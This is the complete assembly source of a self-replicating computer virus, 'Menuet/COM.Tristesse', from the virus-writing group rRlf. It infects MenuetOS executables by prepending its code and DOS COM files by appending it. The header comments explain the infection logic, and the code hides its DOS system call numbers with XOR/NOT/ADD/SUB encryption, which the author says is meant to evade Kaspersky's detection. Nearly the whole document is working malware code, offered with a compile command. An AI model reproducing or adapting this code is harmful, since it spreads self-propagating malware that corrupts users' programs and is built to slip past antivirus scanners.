;; Menuet/COM.Tristesse
;; by Second Part To Hell/[rRlf]
;; www.spth.de.vu
;; spth@prist.com
;; written from june 2004 - sebtember 2004
;; in Austria
;;
;; I'm damn proud that I can present you my latest virus: Menuet/COM.Tristesse!
;; So far, this is the most complex virus I've ever coded, and you'll get the
;; point, why it is the most complex while reading this.
;;
;;
;; The virus:
;; Menuet/COM.Tristesse is a multi-platform infector, which infects MENUETs/COMs.
;; MENUET (www.menuetos.org) files will be infected via prepending the code and COM files will
;; be infected via appending the code. The most important thing about this virus was the
;; biggest (!!!) problem while coding:
;; Menuet is a 32bit based OS, and COM files uses 16bits, which means that I had to code
;; two totally independent parts, one for MENUETs (32bit) and one for COMs (16bit). (I can
;; tell you, infecting a 32bit file via a 16bit file is hell.)
;;
;; The virus infects files this way:
;; Menuet (32bit) -> Menuet (32bit - prepending)
;; Menuet (32bit) -> COM (16bit - appending)
;; COM (16bit) -> COM (16bit - appending)
;; COM (16bit) -> Menuet (32bit - prepending)
;;
;; When the virus runs at MenuetOS, the following thing happens:
;; - Searchs and infects MENUETs at the RAMDISK
;; - Searchs and infects COMs at the HARDDISK (which is, in most cases C:\)
;; - Regenerates the host and returns to the host
;;
;; More exactly: The virus does the following things:
;; - Searchs it's code (delta offset via static address)
;; - Searchs for files
;; - Checks if the file is good for infection (MENUET file, not infected, enough memory, ...)
;; - Reads file into memory
;; - Writes first hostbytes (buffer for virus) to end of file in memory
;; - Viruscode in memory at buffer generated before
;; - Writes Infection sign
;; - Saves file at RAMDISK
;; - Jmp to 2
;; - Searchs for files
;; - Checks if the file is good for infection (COM file, not infected, no MZ header, ...)
;; - Reads file into memory
;; - Saves first 4 bytes
;; - Generates jump to virus + infection mark
;; - Appends viruscode to end of file in memory
;; - Saves file at HARDDISK
;; - Writes Host at Entry Point of file
;; - Jmp to 10
;; - Return to host
;;
;;
;;
;; When the virus runs at COMs, the following happens:
;; - Searchs and infects COMs at current directory
;; - Searchs and infects MENUETs at current directory
;; - Regenerates the host and retuns to the host
;;
;; More exactly: The virus does the following things:
;; - Searchs it's code (delta offset via call)
;; - Restore host (4 bytes at the start)
;; - Find First File (*.com)
;; - Open File
;; - Checks if the file is good for infection (no MZ header, not infected)
;; - Save 4 bytes and check if it's already infected
;; - Calculates new Offset for Jump (filesize+MENUET part-3 bytes [jmp])
;; - Appends viruscode to the end of the file
;; - Writes new 4 bytes (jmp+Virussign)
;; - Find Next File
;; - Jmp to 2
;; - Find First File (*.*)
;; - Open file
;; - Check if the file is good for infection (MENUET file, not infected)
;; - Calculate n blocks (1 block=0x10 bytes) and REST of hostcode
;; - Writes first hostbytes (buffer for virus) to end of file
;; - Writes Virus to generated buffer
;; - Jmp to 11
;; - Return to host
;;
;;
;; Some other infos:
;; 1.) You may ask, why did I infect COM files instead of PE EXEs. The answere is simple:
;; You can not infect PE EXEs via MENUET, because there if too few memory for reading
;; the file. And COMs should just contain 65.536 bytes.
;;
;; 2.) The virus conains a by-hand encryption of DOS SYSTEM CALL NUMBERS, for avoiding
;; KAVs 'Type_COM' warning. Every Number is encrypted with one of XOR/NOT/ADD/SUB/INC/DEC.
;;
;; 3.) I've tested the virus at WindowsXP, Windows98, MenuetOS 0.78 pre2 and MenuetOS 0.77 final,
;; and the code worked on every OS. There is just one problem with MenuetOS 0.76+ when you
;; run it with a Notebook/Laptop. Menuet can't read data from the HARDDISK, and therefore
;; just MENUET files will be infected, not COMs. But this is a bug in Menuet, and not in my
;; virus.
;;
;; Compile: FASM code.asm code
;; And you get the executeable MENUET file.
;; You will get the COM infected, when a MENUET file infects a COM, not with compiling.
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
viruslength equ I_END-START
use32
org 0x0
db 'MENUET00' ; 8 byte id
dd 23 ; required os & Virus infection Mark
dd START ; Program start
dd I_END ; Program length
dd 0x100000 ; Required amount of memory
dd 0x00000000 ; reserved=no extended header
START:
pushad ; Save the original register-contents to stack
mov ebp, dword [0xC] ; Save the virussize in ebp
;; Infect MENUET-files
xor eax, eax ; eax=0
mov al, 58 ; SYSTEM TREE ACCESS
mov ebx, ebp ; pointer to fileinfo-block
add bx, (dir_block_men-START) ; Get the relative offset
int 0x40 ; System Call
mov ebx, 0x20000 ; Move Offset of filename to ebx
nextfile:
add ebx, 32 ; Next Filename
cmp ebx, 0x22000 ; Compair ebx with 0x22000
je endinfmen ; If equal, stop it
mov cl, [ebx] ; First letter of Filename to cl
cmp cl, 0xE5 ; Compair with 0xE5 (which is the sign of a DELETED file)
je nextfile ; If so, get next file
mov cl, [ebx+11] ; Move the attribute bits to cl
and cl, 0x10 ; AND 0x10 ( ???1 ???? = FOLDER )
jnz nextfile ; If not zero, get next file
mov edx, ebx ; Save ebx in edx
mov edi, ebp ; Move fle (11 letter buffer) to edi
add di, (fle-START) ; Get the relative Offset
xor ecx, ecx ; ecx=0
mov cl, 11 ; Move 11 to ecx (counter=11)
fn2fb: ; File Name to File Block
mov al, [ebx] ; Move the ebx-value to al
stosb ; Write al to memory at offset edi (=11 letter buffer)
inc ebx ; Get next letter
loop fn2fb ; Jump to fn2fb if ecx>0 && dec ecx
xor eax, eax ; eax=0
mov al, 58 ; SYSTEM TREE ACCESS
mov ebx, ebp ; pointer to file-block
add bx, (file_block_men-START) ; Get the relative Offset
int 0x40 ; System Call
mov ebx, edx ; Restore original ebx (Filename offset)
mov eax, 0x25000 ; Move Offset of readed file-content to eax
cmp dword [eax], 'MENU' ; Compair a double-word with 'MENU'
jne nextfile ; If not equal (=No Menuet-executed file), get next file
add al, 8 ; eax = 0x25000 + 0x8 = Infection mark offset
cmp byte [eax], 23 ; Compair a byte with 23
je nextfile ; If equal (file is already infected), get next file
add al, 12 ; eax= 0x25008+12 = Memory used by file
cmp dword [eax], 0x50000 ; Compaire with 0x50000 (most files have the double)
jl nextfile ; If less (too few memory for the virus), get next file
mov eax, dword [ebx+28] ; Move the filesize to eax
shr eax, 9 ; Get the blocks to read
inc eax ; For reading the last not completed block
mov edi, ebp ; Move the offset where to write
add di, (flb_bs-START) ; Get the relative Offset
stosb ; Write [al] to di in memory
mov edx, ebx ; Save ebx to edx
xor eax, eax ; eax=0
mov al, 58 ; SYSTEM TREE ACCESS
mov ebx, ebp ; pointer to file-block
add bx, (file_block_men-START) ; Get the relative offset
int 0x40 ; System Call
mov ebx, edx ; Restore original ebx (Filename offset)
;; Write first part (bytes of virus) of the host code to end
;; because these bytes will be overwritten.
mov edi, dword [0x25010] ; Where to write: End of file
add edi, 0x25000 ; Add memory offset of hostcode
mov cx, viruslength ; Viruslength to ecx
add ecx, dword [0x2500C] ; add Header-length
cmp dword [0x25010], ecx ; Check if the file is smaller than the virus
jge notsmall ; If not greater or equal, calculate another offset for writing
xchg edi, ecx ; Move the real start to edi
add edi, 0x25000 ; Add memory offset
notsmall:
xor ecx, ecx ; ecx=0
mov cx, viruslength ; How much to read: Viruslength
mov edx, dword [0x2500C] ; What to read: Entry Point of file
add edx, 0x25000 ; Add memory offset of hostcode
fp2eof: ; First part to end of file
mov al, [edx] ; Move a victim code's byte to al
stosb ; Write al to memory at offset edi (end of file)
inc edx ; Get next byte
loop fp2eof ; Jump to fp2eof if ecx>0 && dec ecx
;; Overwrite first part of host file with viruscode
mov cx, viruslength ; How much to write: Virus length
mov edx, ebp ; What to write: Viruscode
mov edi, dword [0x2500C] ; Where to write: Entry Point of file
add edi, 0x25000 ; Add memory offset of hostcode
vc2vm: ; Virus code to victim memory
mov al, [edx] ; Move a virus code's byte to al
stosb ; Write al to memory at offset edi (Start of victim's code)
inc edx ; Get next virus byte
loop vc2vm ; Jump to vc2vm if ecx>0 && dec ecx
;; Infection Mark <-- Against double-infection
mov edi, 0x25008 ; Move the point of the infection sign
mov al, 23 ; What to write (the infection mark)
stosb ; Write infection mark to file
mov edi, ebp ; Move the offset where to write
add di, (flb_bs-START) ; Get the relative Offset
mov eax, dword [ebx+28] ; What to write (Old Filesize)
add eax, viruslength ; Add virussize
stosd ; Write eax to memory at offset edi
;; Write memory with new built infected file to RAMDISK
mov edi, ebp ; Move the offset where to write
add di, (flb_kd-START) ; Get the relative Offset
mov al, 1 ; What to write (1 for writing)
stosb ; Write al to memory at offset edi
mov edx, ebx ; Save ebx to edx
xor eax, eax ; eax=0
mov al, 58 ; SYSTEM TREE ACCESS
mov ebx, ebp ; pointer to file_block_men
add bx, (file_block_men-START) ; Get the relative Offset
int 0x40 ; System Call
;; Restore some memory stuff and register
mov ebx, edx ; Restore ebx
mov edi, ebp ; Move the offset where to write
add di, (flb_kd-START) ; Get the relative offset
xor al, al ; What to write (0 for reading) = RESTORING
stosb ; Write al to memory at offset edi
mov edi, ebp ; Move the offset where to write
add di, (flb_bs-START) ; Get the relative offset
inc al ; What to write = RESTORING
stosb ; Write al to memory at offset edi
jmp nextfile ; Get Next File
endinfmen:
;; Infect COM-files
xor eax, eax ; eax=0
mov al, 58 ; SYSTEM TREE ACCESS
mov ebx, ebp ; pointer to fileinfo-block
add bx, (dir_block_com-START) ; Get the relative offset
int 0x40 ; System Call
mov ebx, 0x20000 ; Move Offset of filename to ebx
men_com_nextfile:
add ebx, 32 ; Find next file
cmp ebx, 0x22000 ; Compair ebx with 0x22000
je endinfcom ; If equal, stop it
mov cl, [ebx] ; First letter of Filename to cl
cmp cl, 0xE5 ; Compair with 0xE5 (which is the sign of a DELETED file)
je men_com_nextfile ; If so, get next file
mov cl, [ebx+11] ; Move the attribute bits to cl
and cl, 0x10 ; AND 0x10 ( ???1 ???? = FOLDER )
jnz men_com_nextfile ; If not zero, get next file
mov ax, [ebx+8] ; Move first 2 bytes of file-extansion to ax
cmp ax, 'CO' ; Check if it's a COM-file
jne men_com_nextfile ; If not equal, get next file
mov edx, ebx ; Save ebx in edx
mov edi, ebp ; Move fle (11 letter buffer) to edi
add di, (c_fle-START) ; Get the relative Offset
xor ecx, ecx ; ecx=0
mov cl, 11 ; Move 11 to ecx (counter=11)
c_fn2fb: ; File Name to File Block
mov al, [ebx] ; Move the ebx-value to al
stosb ; Write al to memory at offset edi (=11 letter buffer)
inc ebx ; Get next letter
loop c_fn2fb ; Jump to fn2fb if ecx>0 && dec ecx
mov eax, dword [edx+0x1C] ; Move the filesize to eax
shr eax, 9 ; Get the blocks to read
inc eax ; For reading the last not completed block
mov edi, ebp ; Move the offset where to write
add di, (c_flb_bs-START) ; Get the relative Offset
stosb ; Write [al] to di in memory
xor eax, eax ; eax=0
mov al, 58 ; SYSTEM TREE ACCESS
mov ebx, ebp ; pointer to file-block
add bx, (file_block_com-START) ; Get the relative Offset
int 0x40 ; System Call
mov ebx, edx ; Restore ebx
mov ax, word [0x25000] ; Move first two bytes to ax
cmp ax, 'MZ' ; Check if it's a pseudo-COM
je men_com_nextfile ; If equal, get next file
mov al, [0x25003] ; Move the 4th byte to al
cmp al, 'S' ; Check if it's infected
je men_com_nextfile ; If equal, get next file
mov eax, dword [0x25000] ; Move first 4 bytes of .COM to eax
mov edi, ebp ; Move the offset where to save the 4 bytes
add edi, (com_rest_bytes-START) ; Get relative offset
stosd ; Write eax to offset edi
mov eax, [edx+0x1C] ; Filesize to eax
add ax, (comvirusstart-START-3) ; Add offset of com-part start (Size shouldn't be bigger than 0xFFFF)
mov edi, ebp ; Where to write
add edi, (com_4bytes-START+1) ; Buffer for com-start
stosw ; Write two bytes
mov edi, [edx+0x1C] ; Move the filesize to eax
add edi, 0x25000 ; Get the end of the file
mov ecx, viruslength ; Move viruslength to ecx
mov ebx, [0xC] ; Move the start of the virus to ebx
c_vir2end: ; Virus to end
mov al, [ebx] ; Move one virusbyte to al
stosb ; Write al to edi
inc ebx ; Get next byte
loop c_vir2end ; Write next byte
mov ebx, ebp ; 4 bytes to ebx (Jmp to com + infection mark)
add ebx, (com_4bytes-START) ; Get relative offset
mov edi, 0x25000 ; Where to write: filestart
mov ecx, 0x4 ; Write 4 bytes
c_4b2fRAM: ; 4 bytes to file in RAM
mov al, [ebx] ; Move one of the 4 bytes to al
stosb ; Write al to edi
inc ebx ; Get next byte
loop c_4b2fRAM ; Write next byte
mov al, 0x1 ; Move 1 to al
mov edi, ebp ; Move com-fileblock offset to edi
add edi, (c_flb_kd-START) ; Get relative offset
stosb ; Modify com-fileblock (to write)
mov eax, dword [edx+0x1C] ; Move filesize to eax
add eax, viruslength ; Add viruslength
mov edi, ebp ; Move com_fileblock offset to edi
add edi, (c_flb_bs-START) ; Get relative offset
stosd ; Modify com-fileblock (size to write)
mov eax, 58 ; SYSTEM TREE ACCESS
mov ebx, ebp ; Fileblock
add ebx, (file_block_com-START) ; Get relative offset
int 0x40 ; SYSTEM CALL
mov ebx, edx ; Restore Filenames
jmp men_com_nextfile ; Get Next File
endinfcom:
;; Restore original host
mov ebx, ebp ; What to write - Offset of vircode
add bx, (rebu-START) ; Add relative address
mov edi, 0x20000 ; Where to write
mov cl, (rebuend-rebu) ; How much to write (whole rebuild-code)
rb2m: ; Rebuild code to memory
mov al, [ebx] ; Move one byte of rebuild-code to al
stosb ; Write al to offset edi
inc ebx ; Get next byte
loop rb2m ; Jump to rbch if ecx>0 && inc ecx
mov ebx, 0x20000
jmp ebx ; Jump to rebuild code in memory
; Now the viruscode in memory will be replaced by the
; old original host code, and the control comes back to
; the host file. The reason for using memory for
; overwrite the viruscode in memory is the fact that
; we can't overwrite the current running code.
; From now on, there is just data
rebu: ; Rebuild the host code
xor eax, eax ; eax=0
mov al, 0x10 ; eax=0x10
mov ebx, dword [eax] ; Move the file length to ebx, to get the old hostcode offset
sub eax, 4 ; eax=0xC
mov edx, dword [eax] ; Move the offset of the head-length to edx
add dx, viruslength ; Add the virulength to edx
cmp ebx, edx ; Check if the file is smaller than the virus
jge notsmall2 ; If not greater or equal, go on
mov ebx, edx ; Move the new offset to ebx
notsmall2:
mov edi, dword [0xC] ; Where to write: 0xC
mov cx, viruslength ; How much to write
rbhc: ; Rebuild host code
mov al, [ebx] ; One byte of the saved host code to al
stosb ; Write al (Host code) to edi (Entry Point of file)
inc ebx ; Get next byte
loop rbhc ; Jump to rbch if ecx>0 && inc ecx
popad ; Get the original register-contents
jmp dword [0xC] ; Jump to Entry Point, now with the original code
rebuend: ; Rebuild host code: End
;;
;; DATA
;;
virmsg db '1st Menuet/COM Virus (Tristesse) by Second Part To Hell/rRlf'
dir_block_men:
dd 0 ; 0=READ
dd 0x0 ; 512 block to read 0+
dd 0x16 ; blocks to read (/bytes to write/append)
dd 0x20000 ; return data pointer
dd 0x10000 ; work area for os - 16384 bytes
db '/RD/1',0 ; ASCIIZ dir & filename
file_block_men:
flb_kd: dd 0 ; 0=READ (delete/append)
dd 0x0 ; 512 block to read 0+
flb_bs: dd 0x1 ; blocks to read (/bytes to write/append)
dd 0x25000 ; return data pointer
dd 0x10000 ; work area for os - 16384 bytes
flpath db '/RD/1/'
fle db ' ',0
dir_block_com:
dd 0 ; 0=READ
dd 0x0 ; 512 block to read 0+
dd 0x16 ; blocks to read (/bytes to write/append)
dd 0x20000 ; return data pointer
dd 0x10000 ; work area for os - 16384 bytes
db '/HD/1',0 ; ASCIIZ dir & filename
file_block_com:
c_flb_kd: dd 0 ; 0=READ (delete/append)
dd 0x0 ; 512 block to read 0+
c_flb_bs: dd 0x1 ; blocks to read (/bytes to write/append)
dd 0x25000 ; return data pointer
dd 0x10000 ; work area for os - 16384 bytes
c_flpath db '/HD/1/'
c_fle db ' ',0
;; Start of the COM-part
;;
use16
comvirusstart: ; Start of the virus
call com_get_delta ; Jump to com_get_delta + push current offset
com_get_delta:
pop bp ; Get current offset
sub bp, com_get_delta ; Get relative offset
lea si, [bp+com_rest_bytes] ; Restore original bytes from com_rest_bytes
mov di, 0x100 ; Write to 0x100, as a COM starts at that offset
movsw ; Write 2 bytes
movsw ; Write 2 bytes (=4 bytes)
com_find_first:
mov ah, 0xB1 ; Find First File (encrypted)
xor ah, 0xFF ; Decrypt
com_infection:
lea dx, [bp+com_string] ; dx=Search-lable (='*.com')
xor cx, cx ; cx=Attribute (=normal file)
int 0x21 ; Execute It
jc end_vir ; If carry (no more file), jmp to end of virus
mov ax, 0xC2FD ; Open File (encrypted)
xor ax, 0xFFFF ; Decrypt
mov dx, 0x9E ; dx=Filename (any com-file returned by FFF)
int 0x21 ; Execute it
xchg ax, bx ; Filehandle to bx
mov ah, 0xC0 ; Save first 4 bytes, which will be overwritten (jmp + infection-mark) (encrypted)
xor ah, 0xFF ; Decrypt
mov cx, 0x4 ; cx= How much (4 bytes)
lea dx, [bp+com_rest_bytes] ; Where to save (4 byte-buffer)
int 0x21 ; Execute it
cmp byte [bp+com_rest_bytes+3], 'S' ; Check if already infected
je com_FindNextFile ; If equal (=infected), jump com_FindNextFile
mov ax, 0xBDFD ; Jump to end of the file (+ Get filesize) (encrypted)
not ax ; Decrypt
xor cx, cx ; cx=0
xor dx, dx ; dx=0
int 0x21 ; Execute it
add ax, (comvirusstart-START-3) ; Calculate the offset of new com-start: filesize+MENUET part-jmp(3 bytes)
mov word [bp+com_4bytes+1], ax ; Write the new length to the buffer,
; so the file will jump to the end (=virus-start)
mov ah, 0x45 ; Write to file (encrypted)
sub ah, 0x5 ; Decrypt
mov cx, viruslength ; How much to write (virussize)
lea dx, [bp+START] ; Where to read from: virusstart
int 0x21 ; Execute it
mov ax, 0xBDFF ; Get the filestart (encrypted)
not ax ; Decrypt
xor cx, cx ; cx=0
xor dx, dx ; dx=0
int 0x21 ; Execute it
mov ah, 0xBF ; Write to file (encrypted)
xor ah, 0xFF ; Decrypt
mov cx, 0x4 ; How much to write: 4 bytes= jmp+infection_mark
lea dx, [bp+com_4bytes] ; Where to read
int 0x21 ; Execute it
com_FindNextFile:
mov ah, 0xC1 ; Close file (encrypted)
not ah ; Decrypt
int 0x21 ; Execute it
mov ah, 0x6D ; Find Next File (encrypted)
xor ah, 0xDD ; Decrypt
not ah ; Decrypt
jmp com_infection ; Infect it
end_vir:
mov ah, 0xB1 ; Find First File (encrypted)
not ah ; Decrypt
c_men_infection:
lea dx, [bp+com_men_string] ; dx=Search-lable (='*.*')
xor cx, cx ; cx=Attribute (=normal file)
int 0x21 ; Execute It
jc ret_host ; If carry (no more file), jmp ret_host
mov ax, 0xC2FD ; Open file (encrypted)
xor ax, 0xFFFF ; Decrypt
mov dx, 0x9E ; dx=Filename (any file returned by FFF)
int 0x21 ; Execute It
xchg ax, bx ; Filehandle to bx
mov ah, 0x28 ; Read from file (encrypted)
xor ah, 0x17 ; Decrypt
mov cx, 0x10 ; How much to read (16 bytes)
lea dx, [bp+com_men_buffer1] ; Where to store (Menuet buffer)
int 0x21 ; Execute it
cmp word [bp+com_men_buffer1], 'ME' ; Check if it's a Menuet-File
jne com_men_FNF ; If not, get next file
cmp byte [bp+com_men_buffer1+0x8], 0x17 ; Check if file is already infected
je com_men_FNF ; If equal (=infected), get next file
mov ax, 0x4210 ; Set File Pointer to start (encrypted)
sub ax, 0x10 ; Decrypt
xor cx, cx ; cx=0
xor dx, dx ; dx=0
int 0x21 ; Execute it
mov ah, 0xC0 ; Read from file (encrypted)
not ah ; Decrypt
mov cx, 0x8 ; How much to read
mov dx, [bp+com_men_buffer1] ; Where to store
int 0x21 ; Execute it
mov ah, 0x63 ; Write to file (encrypted)
xor ah, 0x23 ; Decrypt
mov cx, 0x1 ; How much to write: One byte
mov byte [bp+com_men_buffer1], 0x17 ; The Infection Mark to the buffer
lea dx, [bp+com_men_buffer1] ; What to write: Infection Mark for MENUETs
int 0x21 ; Execute it
mov ax, 0x3200 ; Set File Pointer to start (encrypted)
add ax, 0x1000 ; Decrypt
xor cx, cx ; cx=0
xor dx, dx ; dx=0
int 0x21 ; Execute it
mov ah, 0x30 ; Read from file (encrypted)
add ah, 0xF ; Decrypt
mov cx, 0x10 ; How much to read (16 bytes)
mov dx, [bp+com_men_buffer1] ; Where to store
int 0x21 ; Execute it
mov ax, viruslength ; Move viruslength to ax
shr ax, 0x4 ; 4 bytes left: ax*16=viruslength + REST
mov di, ax ; Save result in di
mov dx, 0x10 ; dx=0x10
mul dx ; ax=dx[0x10]*ax[shr(viruslength)4]
mov dx, ax ; Get the result to dx
mov ax, viruslength ; Move viruslength to ax
sub ax, dx ; viruslength-di[shr(viruslength)*16]=REST
push ax ; Save REST to stack
mov ax, [bp+com_men_buffer1+0xC] ; Move the offset of the EP to ax
push ax ; Offset of the EP to the stack
mov ax, 0x4202 ; Get filelength (=Set filepointer to end of file)
xor cx, cx ; cx=0
xor dx, dx ; dx=0
int 0x21 ; Execute it
sub ax, [bp+com_men_buffer1+0xC] ; Sub header-length to get real code-length
cmp ax, viruslength ; Compair codelength with viruslength
jge com_menfi_ge ; If greater or equal jmp to com_menfi_ge
mov di, ax ; Move the real codelength to di
com_men_st2end2: ; MENUET Start to End
mov ax, 0xBDFF ; Set File Pointer to start (encrypted)
not ax ; Decrypt
xor cx, cx ; cx=0
xor dx, dx ; dx=0
int 0x21 ; Execute it
mov ax, 0x4203 ; Set File Pointer (encrypted)
dec ax ; Decrypt
dec ax ; Decrypt
xor cx, cx ; cx=0
pop dx ; dx=offset to read
push dx ; dx to the stack again
int 0x21 ; Execute it
pop dx ; Get offset where to read from stack to dx
add dx, 0x10 ; Add 16 to dx (As we need the next 16 bytes)
push dx ; To the stack again
mov ah, 0x4F ; Read from file (encrypted)
sub ah, 0x10 ; Decrypt
mov cx, 0x10 ; How much to read (16 bytes)
lea dx, [bp+com_men_buffer2] ; Where to store
int 0x21 ; Execute it
mov ax, 0xE8AA ; Set File Pointer to start (encrypted)
xor ax, 0xAAAA ; Decrypt
xor cx, cx ; cx=0
xor dx, dx ; dx=0
int 0x21 ; Execute it
mov ax, 0x9FDC ; Set file Pointer (encrypted)
xor ax, 0xDDDD ; Decrypt
xor cx, cx ; cx=0
pop dx ; dx=EP+already read bytes
push dx ; Save dx again
add dx, viruslength-0x10 ; Add viruslength-16 (previous 16 bytes) to dx: dx=offset to write old host code
int 0x21 ; Execute it
com_nrestbytes:
mov ah, 0x60 ; Write to file (encrypted)
sub ah, 0x20 ; Decrypt
mov cx, 0x10 ; How much to write: 16 byte
lea dx, [bp+com_men_buffer2] ; What to write: First bytes of file for buffer
int 0x21 ; Execute it
sub di, 0x10 ; Decrease di
cmp di, 0x10 ; Compair di with 16
jge com_men_st2end2 ; If not zero (still 16byte blocks to copy), jmp to com_men_st2end2
mov ax, 0x42FF ; Set File Pointer to start (encrypted)
sub ax, 0xFF ; Decrypt
xor cx, cx ; cx=0
xor dx, dx ; dx=0
int 0x21 ; Execute it
mov ax, 0x1 ; Set File Pointer (encrypted)
add ax, 0x4200 ; Decrypt
xor cx, cx ; cx=0
pop dx ; dx=offset to read
int 0x21 ; Execute it
mov ah, 0xA6 ; Read from file (encrypted)
xor ah, 0x99 ; Decrypt
mov cx, di ; How much to read (REST)
lea dx, [bp+com_men_buffer2] ; Where to store
int 0x21 ; Execute it
mov ax, 0xBDFD ; Set File Pointer to end (encrypted)
not ax ; Decrypt
xor cx, cx ; cx=0
xor dx, dx ; dx=0
int 0x21 ; Execute it
mov ah, 0xBF ; Write to file (encrypted)
not ah ; Decrypt
mov cx, di ; How much to write (REST)
lea dx, [bp+com_men_buffer2] ; What to write: Rest of bytes
int 0x21 ; Execute it
pop ax ; Pop trash
jmp virinclude ; Jump to Virus-Include-Part
com_menfi_ge:
com_men_st2end:
mov ah, 0x42 ; Set File Pointer to start (encrypted)
xor al, al ; Decrypt
xor cx, cx ; cx=0
xor dx, dx ; dx=0
int 0x21 ; Execute it
mov ax, 0x4200 ; Set File Pointer (encrypted)
inc al ; Decrypt
xor cx, cx ; cx=0
pop dx ; dx=offset to read
push dx ; dx to the stack again
int 0x21 ; Execute it
pop dx ; Get offset where to read from stack to dx
add dx, 0x10 ; Add 16 to dx (As we need the next 16 bytes)
push dx ; To the stack again
mov ah, 0x30 ; Read from file (encrypted)
add ah, 0xF ; Decrypt
mov cx, 0x10 ; How much to read (16 bytes)
lea dx, [bp+com_men_buffer2] ; Where to store
int 0x21 ; Execute it
mov ax, 0x4002 ; Set File Pointer to end (encrypted)
add ax, 0x200 ; Decrypt
xor cx, cx ; cx=0
xor dx, dx ; dx=0
int 0x21 ; Execute it
mov ah, 0x25 ; Write to file (encrypted)
add ah, 0x1B ; Decrypt
mov cx, 0x10 ; How much to write: 16 byte
lea dx, [bp+com_men_buffer2] ; What to write: First bytes of file for buffer
int 0x21 ; Execute it
dec di ; Decrease di
test di, di ; test di if zero
jnz com_men_st2end ; If not zero, write next 16 byte
mov ax, 0x2200 ; Set File Pointer to start (encrypted)
add ax, 0x2000 ; Decrypt
xor cx, cx ; cx=0
xor dx, dx ; dx=0
int 0x21 ; Execute it
mov ax, 0x6201 ; Set File Pointer (encrypted)
sub ax, 0x2000 ; Decrypt
xor cx, cx ; cx=0
pop dx ; dx=offset to read
int 0x21 ; Execute it
mov ah, 0x20 ; Read from file (encrypted)
add ah, 0x1F ; Decrypt
pop cx ; Get REST
push cx ; Save REST again
lea dx, [bp+com_men_buffer2] ; Where to store
int 0x21 ; Execute it
xor ax, ax ; Set File Pointer to end (encrypted)
add ax, 0x4202 ; Decrypt
xor cx, cx ; cx=0
xor dx, dx ; dx=0
int 0x21 ; Execute it
mov ah, 0xFB ; Write to file (encrypted)
xor ah, 0xBB ; Decrypt
pop cx ; How much to write: REST bytes
lea dx, [bp+com_men_buffer2] ; What to write: REST bytes
int 0x21 ; Execute it
virinclude: ; Virus-Include-Part
mov ax, 0xBDFF ; Set File Pointer to start (encrypted)
not ax ; Decrypt
xor cx, cx ; cx=0
xor dx, dx ; dx=0
int 0x21 ; Execute it
mov ax, 0xBDFE ; Set File Pointer (encrypted)
not ax ; Decrypt
xor cx, cx ; cx=0
mov dx, [bp+com_men_buffer1+0xC] ; destination: Entry Point
int 0x21 ; Execute it
mov ah, 0x53 ; Write to file (encrypted)
xor ah, 0x13 ; Decrypt
mov cx, viruslength ; How much to write: Viruslength
mov dx, bp ; What to write: Viruscode
add dx, START ; Get relative offset
int 0x21 ; Execute it
com_men_FNF:
mov ah, 0xD0 ; Close file (encrypted)
xor ah, 0xEE ; Decrypt
int 0x21 ; Execute it
mov ah, 0xA1 ; Find Next File (encrypted)
xor ah, 0xEE ; Decrypt
jmp c_men_infection ; Infect it
ret_host:
mov di, 0x200 ; di=0x100 (as it's a COM-file) (encrypted)
sub di, 0x100 ; Decrypt
jmp di ; Jump to di (Jump to Host-start)
com_men_string db '*.*',0 ; FileMask for MENUETs
com_string db '*.com',0 ; FileMask for COMs
com_men_buffer1: times 0x10 db 0x0 ; 16 byte buffer for Menuet-Sign
com_men_buffer2: times 0x10 db 0x0 ; 16 byte buffer for Saving the Hostfile
com_4bytes db 0xE9, 0x0, 0x0 ,'S' ; Jmp to virus + Infection Mark
com_rest_bytes db 0xCD, 0x20, 0x90, 0x90 ; 1st Generation only: int 0x20 | NOP | NOP
end_virus: ;ENDE
I_END: